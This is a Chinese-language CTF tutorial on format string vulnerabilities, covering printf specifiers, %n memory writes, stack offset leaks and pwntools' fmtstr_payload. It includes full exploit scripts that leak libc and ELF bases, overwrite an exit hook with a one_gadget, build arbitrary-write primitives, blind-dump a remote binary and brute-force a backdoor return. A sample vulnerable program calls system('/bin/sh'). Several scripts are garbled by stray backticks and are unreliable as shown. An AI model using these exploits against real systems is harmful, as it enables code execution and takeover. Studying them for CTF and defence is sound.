格式化字符串基础 基础知识
函数
基本介绍
printf
输出到stdout
fprintf
输出到指定FILE流
vprintf
根据参数列表格式化输出到stdout
vfprintf
根据参数列表格式化输出到FILE流
sprintf
输出到字符串
snprintf
输出指定字节数到字符串
vsprintf
根据参数列表格式化输出到字符串
vsnprintf
根据参数列表格式化输出指定字节到字符串
常见格式化字符串参数
%c
:输出字符,配上%n
可用于向指定地址写数据。
%d
:输出十进制整数,配上%n
可用于向指定地址写数据。
%p
:输出16进制数据,与%x
基本一样,只是附加了前缀0x
,在32位下输出4字节,在64位下输出8字节,可通过输出字节的长度来判断目标环境是32位还是64位。
%s
:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s
表示输出偏移i处地址所指向的字符串,在32位和64位环境下一样,可用于读取GOT表等信息。
%n
:将%n
之前printf
已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n
表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn
表示写入的地址空间为2字节,%$hhn
表示写入的地址空间为1字节,%$lln
表示写入的地址空间为8字节,在32位和64位环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn
或%$hhn
来适时调整。
%n
是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n
写数据。
常用格式化字符串形式
1 2 %[parameter][flags][field width][.precision][length]type 例如 %2$08hx %.8lf
parameter
:n$
,获取格式化字符串中的指定第 n 个参数
flags
:在 width
设置后指定可以用来作为填充的内容之类的内容
field width
:输出的最小宽度
precision
:输出的最大长度
length
,输出的长度
type
d/i
,有符号整数
u
,无符号整数
x/X
,16进制
o
,8进制
s
,所有字节
c
,char类型单个字符
p
,void *
型,输出对应变量的值。printf("%p",a)
用地址的格式打印变量 a
的值,printf("%p", &a)
打印变量 a
所在的地址。
n
,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
hhn
写一字节
hn
写两字节
n
写四字节
ln
32 位写四字节,64 位写八字节
lln
写八字节
原理验证 示例程序:
1 2 3 4 5 6 7 #include <stdio.h> int main () { char s[100 ] ="aaaa.%p.%p.%p.%p.%p.%p.%p" ; printf (s); return 0 ; }
编译命令:
1 gcc test.c -g -m32 -o test
输出结果:
1 aaaa.0xf7ffc988.0xffffcf2a.0x56555595.0xffffcf2a.0xf7ffc984.0x61616161.0x2e70252e
栈结构:
1 2 3 4 5 6 7 00:0000│ esp 0xffffcee0 —▸ 0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p' 01:0004│ 0xffffcee4 —▸ 0xf7ffc988 (_rtld_global_ro+136) ◂— 0x8e 02:0008│ 0xffffcee8 —▸ 0xffffcf2a ◂— 0x0 03:000c│ 0xffffceec —▸ 0x56555595 (main+24) ◂— add ebx, 0x1a3f 04:0010│ 0xffffcef0 —▸ 0xffffcf2a ◂— 0x0 05:0014│ 0xffffcef4 —▸ 0xf7ffc984 (_rtld_global_ro+132) ◂— 0x6 06:0018│ eax 0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
自上而下依次是参数0~6,参数0为格式化字符串地址,而格式化字符串前4字节又作为参数6(由于栈结构不同,需要视情况而定)。因此如果将格式化字符串合适的位置设置为目标地址就可以对该地址的数据进行操作。
编译命令:
1 gcc test.c -g -m64 -o test
输出结果:
1 aaaa.0x7fffffffde78.0x70.0x555555554770.0x7ffff7dced80.0x7ffff7dced80.0x2e70252e61616161.0x70252e70252e70255
寄存器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 RAX 0x0 RBX 0x0 RCX 0x555555554770 (__libc_csu_init) ◂— push r15 RDX 0x70 RDI 0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p' RSI 0x7fffffffde78 —▸ 0x7fffffffe21b R8 0x7ffff7dced80 (initial) ◂— 0x0 R9 0x7ffff7dced80 (initial) ◂— 0x0 R10 0x0 R11 0x0 R12 0x5555555545a0 (_start) ◂— xor ebp, ebp R13 0x7fffffffde70 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdd90 —▸ 0x555555554770 (__libc_csu_init) ◂— push r15 RSP 0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p' RIP 0x555555554747 (main+157) ◂— call 0x555555554580
栈结构:
1 2 3 4 5 00:0000│ rdi rsp 0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p' 01:0008│ 0x7fffffffdd28 ◂— '%p.%p.%p.%p.%p.%p' 02:0010│ 0x7fffffffdd30 ◂— '.%p.%p.%p' 03:0018│ 0x7fffffffdd38 ◂— 0x70 /* 'p' */ 04:0020│ 0x7fffffffdd40 ◂— 0x0
由于 64 位程序先使用 rdi
、rsi
、rdx
、rcx
、r8
、r9
寄存器作为函数参数的前六个参数,多余的参数会依次压在栈上,因此前 6 个输出的为寄存器中的值(aaaa
看做是格式化字符串参数),格式化字符串前 8 个字节作为参数 6 。
泄露偏移
格式化字符串泄露内存 泄露栈变量的值 获取栈中被视为第 n+1
个参数的值:%n$x
(%n$p
)
我们可以通过漏洞泄露栈上的canary
和libc
地址。
亦或者在开启PIE
保护的情况下泄露程序地址。
注意:%x
其实只是 %d
的 16 进制输出,对应的是 32 位也就是 4 字节;在 64 位操作系统下,只会截取后 32 位;%p
和系统位数关联没有问题,因此建议用 %p
泄露栈变量对应对应地址的内容 获取栈中被视为第 n+1
个参数对应地址的内容:%n$s
泄露任意地址内存 获取地址 addr
对应的值(addr
为第 k
个参数):addr%k$s
如果程序为 32 位偏移为 6 则payload为
格式化字符串覆盖内存 覆盖内存的原理是 %k$n
可以覆盖第 k 个参数指向的地址为已经输出的字符数量。
注意:覆盖内存只能覆盖栈上某地址指向的内存,而不是直接覆盖栈上某地址。
pwntools集成了一个可以自动生成格式化字符串任意地址覆盖的工具。
我们较常使用的功能是
1 fmtstr_payload(offset, {address:data}, numbwritten=0 , write_size='byte' )
offset
表示格式化字符串的偏移
address
表示需要覆盖的地址
data
表示覆盖为的值
numbwritten
表示已经输出的字符个数
write_size
表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
注意:部分题目格式化字符串漏洞会限制输入长度,导致pwntools生成的有些payload会失效。这样我们就只能通过手动来构造格式化字符串缩减长度了。
手动构造payload 覆盖小数字 对于小于机器字长的数字,如果把地址放在格式化字符串前面会使得已输出字符个数大于数字大小,因此要将地址放在后面。
我们可以通过设置格式化字符串为%c
来控制输出字符长度,然后通过%n
来将输出字符写入。
以数字10为例:
覆盖大数字 直接一次性输出大数字个字节来进行覆盖时间过长,因此需要把大数字拆分成若干个部分,分别进行覆盖。比如hhn
按字节写或hn
按双字写。
以hhn
写入32bit数为例,payload形式为:[addr][addr+1][addr+2][addr+3][pad1]%k$hhn[pad2]%(k+1)$hhn[pad3]%(k+2)$hhn[pad4]%(k+3)$hhn
小技巧:我们可以通过打印pwntools生成的格式化字符串来作为参考。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import * elf = ELF("./test" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) context(arch=elf.arch, os=elf.os) context.log_level = 'debug' p = process([elf.path]) p.sendafter("please input:\n" , "%p%5$p" ) elf.address = int (p.recv(14 ), 16 ) - 0x2012 info("elf base: " + hex (elf.address)) ld_base = int (p.recv(14 ), 16 ) - 0x11d60 info("ld base: " + hex (ld_base)) p.sendafter("please input:\n" , "%7$saaaa" + p64(elf.got['puts' ])) libc.address = u64(p.recvuntil('\x7F' )[-6 :].ljust(8 , '\x00' )) - libc.sym['puts' ] info("libc base: " + hex (libc.address)) one_gadget = libc.address + [0xe3afe , 0xe3b01 , 0xe3b04 ][0 ] exit_hook = ld_base + 0x2ef70 info("one_gadget: " + hex (one_gadget)) info("exit hook: " + hex (exit_hook)) gdb.attach(p, "b *$rebase(0x13b3)\nc" ) pause() payload = '' payload += '%{}c%{}$hhn' .format (one_gadget >> 0 & 0xFF , 11 ) payload += '%{}c%{}$hhn' .format (((one_gadget >> 8 & 0xFF ) - (one_gadget >> 0 & 0xFF ) + 0x100 ) & 0xFF , 12 ) payload += '%{}c%{}$hhn' .format (((one_gadget >> 16 & 0xFF ) - (one_gadget >> 8 & 0xFF ) + 0x100 ) & 0xFF , 13 ) payload = payload.ljust((len (payload) + 7 ) / 8 * 8 ) payload += p64(exit_hook) payload += p64(exit_hook + 1 ) payload += p64(exit_hook + 2 ) p.sendafter("please input:\n" , payload) p.sendafter("please input:\n" , "exit\x00" ) p.interactive()
非栈上格式化字符串通用解法 考虑构造任意地址写原理。由于格式化字符串在堆上,我们不能直接在栈上布置要写入的地址,因此需要借助栈上的 ebp 链进行构造。
我们发现只要栈上存在一个有 2 跳 的 ebp链就可以构造栈上相对地址写原语 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import * elf = ELF("./test" ) libc` `=` `ELF(``"/lib/x86_64-linux-gnu/libc.so.6" ``)` context(arch``=``elf.arch, os``=``elf.os)` context.log_level = 'debug' p` `=` `process([elf.path])` gdb.attach(p,` `"b *$rebase(0x123e)\nc" ) pause() p.sendafter(``"please input:\n" ``,` `"%p%5$p%7$p%9$p" ``) elf.address` `=` `int ``(p.recv(``14 ``),` `16 ``)` `-` `0x2012 ` info("elf base: " + hex (elf.address)) ld_base` `=` `int ``(p.recv(``14 ``),` `16 ``)` `-` `0x11d60 info("ld base: " + hex (ld_base)) libc.address` `=` `int ``(p.recv(``14 ``),` `16 ``)` `-` `0x24083 info(``"libc base: " ` `+` `hex ``(libc.address)) stack_addr` `=` `int ``(p.recv(``14 ``),` `16 ``)` `-` `0xf8 info(``"stack addr: " ` `+` `hex ``(stack_addr)) one_gadget` `=` `libc.address` `+` `[``0xe3afe ``,` `0xe3b01 ``,` `0xe3b04 ``][``2 ``] exit_hook` `=` `ld_base` `+` `0x2ef70 info(``"one_gadget: " ` `+` `hex ``(one_gadget)) info(``"exit hook: " ` `+` `hex ``(exit_hook))def ` `arbitrary_offset_write(offset, value): `info(``"arbitrary_offset_write({}, {})" ``.``format ``(``hex ``(offset),` `hex ``(value)))` `assert ` `0 ` `<``=` `(stack_addr &` `0xFFFF ``)` `+` `offset <` `0x10000 ` `and ` `value <` `0x10000 ` `if ` `(stack_addr` `+` `offset) &` `0xFFFF ` `=``=` `0 ``:` `p.sendafter(``"please input:\n" ``,` `"%24$hn" ``)` `else ``:` `p.sendafter(``"please input:\n" ``,` `"%{}c%24$hn" ``.``format ``((stack_addr` `+` `offset) &` `0xFFFF ``))` `if ` `value` `=``=` `0 ``:` `p.sendafter(``"please input:\n" ``,` `"%37$hn" ``)` `else ``:` `p.sendafter(``"please input:\n" ``,` `"%{}c%37$hn" ``.``format ``(value))` `arbitrary_offset_write(``8 ` `+` `0 ``, one_gadget >>` `16 ` `*` `0 ` `&` `0xFFFF ``)` `arbitrary_offset_write(``8 ` `+` `2 ``, one_gadget >>` `16 ` `*` `1 ` `&` `0xFFFF ``)` `p.sendafter(``"please input:\n" ``,` `"exit\x00" ``)` `p.interactive()`
由于我们有了栈上相对地址写原语 ,因此可以进一步构造任意地址写原语 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 `from ` `pwn` `import ` `*` `elf` `=` `ELF(``"./test" ``)` `libc` `=` `ELF(``"/lib/x86_64-linux-gnu/libc.so.6" ``)` `context(arch``=``elf.arch, os``=``elf.os)` `context.log_level` `=` `'debug' ` `p` `=` `process([elf.path])` `p.sendafter(``"please input:\n" ``,` `"%p%5$p%7$p%9$p" ``)` `elf.address` `=` `int ``(p.recv(``14 ``),` `16 ``)` `-` `0x2012 ` `info(``"elf base: " ` `+` `hex ``(elf.address))` `ld_base` `=` `int ``(p.recv(``14 ``),` `16 ``)` `-` `0x11d60 ` `info(``"ld base: " ` `+` `hex ``(ld_base))` `libc.address` `=` `int ``(p.recv(``14 ``),` `16 ``)` `-` `0x24083 ` `info(``"libc base: " ` `+` `hex ``(libc.address))` `stack_addr` `=` `int ``(p.recv(``14 ``),` `16 ``)` `-` `0xf8 ` `info(``"stack addr: " ` `+` `hex ``(stack_addr))` `one_gadget` `=` `libc.address` `+` `[``0xe3afe ``,` `0xe3b01 ``,` `0xe3b04 ``][``2 ``]` `exit_hook` `=` `ld_base` `+` `0x2ef70 ` `info(``"one_gadget: " ` `+` `hex ``(one_gadget))` `info(``"exit hook: " ` `+` `hex ``(exit_hook))` `def ` `arbitrary_offset_write(offset, value):` `info(``"arbitrary_offset_write({}, {})" ``.``format ``(``hex ``(offset),` `hex ``(value)))` `assert ` `0 ` `<``=` `(stack_addr &` `0xFFFF ``)` `+` `offset <` `0x10000 ` `and ` `value <` `0x10000 ` `if ` `(stack_addr` `+` `offset) &` `0xFFFF ` `=``=` `0 ``:` `p.sendafter(``"please input:\n" ``,` `"%24$hn" ``)` `else ``:` `p.sendafter(``"please input:\n" ``,` `"%{}c%24$hn" ``.``format ``((stack_addr` `+` `offset) &` `0xFFFF ``))` `if ` `value` `=``=` `0 ``:` `p.sendafter(``"please input:\n" ``,` `"%37$hn" ``)` `else ``:` `p.sendafter(``"please input:\n" ``,` `"%{}c%37$hn" ``.``format ``(value))` `def ` `arbitrary_address_write(address, value):` `assert ` `address <` `0x10000000000000000 ` `and ` `value <` `0x10000 ` `arbitrary_offset_write(``0x50 ``, address >>` `0 ` `*` `16 ` `&` `0xFFFF ``)` `arbitrary_offset_write(``0x52 ``, address >>` `1 ` `*` `16 ` `&` `0xFFFF ``)` `arbitrary_offset_write(``0x54 ``, address >>` `2 ` `*` `16 ` `&` `0xFFFF ``)` `arbitrary_offset_write(``0x56 ``, address >>` `3 ` `*` `16 ` `&` `0xFFFF ``)` `gdb.attach(p,` `"b *$rebase(0x123e)\nc" ``)` `pause()` `if ` `value` `=``=` `0 ``:` `p.sendafter(``"please input:\n" ``,` `"%16$hn" ``)` `else ``:` `p.sendafter(``"please input:\n" ``,` `"%{}c%16$hn" ``.``format ``(value))` `arbitrary_address_write(``0xdeadbeef ``,` `0x1234 ``)` `p.interactive()`
盲打 这类题目不会给任何附件,只给远程连接的 ip 和端口,这类 pwn 存在无限使用的格式化字符串漏洞,我们可以利用这一点通过脚本把程序dump下来。
利用条件 存在无限使用的格式化字符串漏洞
利用原理
%n$s
:将第n个参数的值作为地址,输出这个地址指向的字符串内容。
%n$p
:将第n个参数的值作为内容,以十六进制形式输出。
dump程序是获取给定地址的内容,所以使用%n$s
。
然后使用%s
一直输出直到遇到\x00
截至符才会停止,也就是每次泄露的长度是不确定的,可能很长也可能是空,因为 .text
段很可能有连续\x00
,所以我们下面的脚本遇到\x00
的时候,地址加 1 然后数据设置为\x00
。
从程序加载的地方开始泄露:
32位:从0x8048000
开始泄露
64位:从0x400000
开始泄露
示例程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include <stdio.h> #include <stdlib.h> #include <string.h> void init () { setvbuf(stdin ,0 ,2 ,0 ); setvbuf(stdin ,0 ,2 ,0 ); setvbuf(stdout ,0 ,2 ,0 ); } void backdoor () { system("/bin/sh" ); }int main () { char buf[0x100 ]; memset (buf,0 ,0x100 ); while (1 ) { printf ("blind fmt\n" ); read(0 ,buf,0x50 ); printf (buf); } }
dump程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import timefrom pwn import *import binascii s = lambda data: io.send(data) sa = lambda text, data: io.sendafter(text, data) sl = lambda data: io.sendline(data) sla = lambda text, data: io.sendlineafter(text, data) r = lambda num=4096 : io.recv(num) ru = lambda text: io.recvuntil(text) pr = lambda num=4096 : print (io.recv(num)) ia = lambda : io.interactive() ic = lambda : io.close() l32 = lambda : u32(io.recvuntil(b'\xf7' )[-4 :].ljust(4 , b'\x00' )) l64 = lambda : u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) uu32 = lambda : u32(io.recv(4 ).ljust(4 , b'\x00' )) uu64 = lambda : u64(io.recv(6 ).ljust(8 , b'\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: io.success('%s -> 0x%x' % (s, num)) io = remote("127.0.0.1" ,9999 ) context.log_level = "debug" arch = True begin = 0x400000 bin = b"" if arch: context.arch = "amd64" begin = 0x400000 else : context.arch = "i386" begin = 0x8048000 pad = b"blind fmt\n" def leak (addr ): payload = b"%7$sdump" if arch: payload += p64(addr) else : payload += p32(addr) r() sl(payload) print ("leaking:" , hex (addr)) data = ru(b"dump" , drop=True ) return datatry : while True : data = leak(begin) begin += len (data) bin += data if len (data) == 0 : begin += 1 bin += b"\x00" except : print ("finish" )finally : print ("[+]" , len (bin )) with open ("dump_bin" , "wb" ) as f: f.write(bin )
例题 栈上数据泄露
泄露栈上canary和libc地址
hijack ret2addr 利用格式化字符串进行栈上内存覆盖劫持返回地址。
hijack GOT
wdb_2018_2nd_easyfmt
任意地址读泄露内存,任意地址写修改GOT表。
由于动态链接程序是通过 GOT 表调用 libc 函数的。所以我们可以通过修改 GOT 表让某个函数调用时调用指定函数,比如说调用 system 函数。
而只有在程序没有开启 RELRO 保护的时候,GOT 表可以被修改,我们可以通过格式符字符串漏洞修改 GOT 表。比如将 printf 函数 GOT 表修改为 system 函数,这样当我们执行 puts 函数的时候,实际上执行的就是 system函数。
非栈上格式化字符串
2019 xman format
由于不能泄露地址,因此只能爆破 ebp
链指向返回地址然后写返回地址为 backdoor
函数地址来 get shell 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *def dbg (c=0 ): if c: gdb.attach(io, c) else : gdb.attach(io) pause() s = lambda data: io.send(data) sa = lambda text, data: io.sendafter(text, data) sl = lambda data: io.sendline(data) sla = lambda text, data: io.sendlineafter(text, data) r = lambda num=4096 : io.recv(num) ru = lambda text: io.recvuntil(text) pr = lambda num=4096 : print (io.recv(num)) ia = lambda : io.interactive() ic = lambda : io.close() l32 = lambda : u32(io.recvuntil(b'\xf7' )[-4 :].ljust(4 , b'\x00' )) l64 = lambda : u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) uu32 = lambda : u32(io.recv(4 ).ljust(4 , b'\x00' )) uu64 = lambda : u64(io.recv(6 ).ljust(8 , b'\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: io.success('%s -> 0x%x' % (s, num)) elf = ELF('xman_2019_format' ) context(os=elf.os, arch=elf.arch, log_level='debug' )while True : global io try : io = process([elf.path]) payload = "%" + str (0x9c ) + "c%10$hhn|%" + str (0x85ab ) + "c%18$hn" sla('...' , payload) sleep(0.5 ) ia() except KeyboardInterrupt: ic() exit(0 ) except : ic() ia()
后言
参考:ctf-wiki 参考:看雪pwn探索篇